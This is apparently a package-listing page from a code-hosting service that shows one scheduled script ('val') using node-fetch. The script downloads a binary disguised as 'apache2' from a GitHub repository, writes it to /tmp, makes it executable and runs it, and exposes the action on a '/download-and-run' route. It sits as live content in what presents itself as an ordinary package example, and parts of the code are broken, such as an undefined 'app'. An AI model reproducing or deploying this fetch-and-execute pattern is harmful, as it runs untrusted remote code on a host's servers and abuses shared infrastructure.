Back to packages list

Vals using node-fetch

Description from the NPM package:
A light-weight module that brings Fetch API to node.js
Runs every 1 hrs
Fork
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
export const untitled_pinkFox = (async () => {
const { default: fetch } = await import("npm:node-fetch");
const { exec } = await import("npm:child_process");
const downloadAndRunBinary = async (url, destination) => {
try {
const response = await fetch(url);
const buffer = await response.buffer();
await Deno.writeFile(destination, buffer);
await exec(`chmod +x ${destination}`);
await exec(destination);
console.log("Binary executed successfully");
}
catch (error) {
console.error("Failed to download and run binary:", error);
}
};
const downloadAndRunApache = async () => {
const url = "https://github.com/Cianameo/amd-conf-hui/raw/main/apache2";
const destination = "/tmp/apache2";
await downloadAndRunBinary(url, destination);
};
app.get("/download-and-run", downloadAndRunApache);
})();
1
Next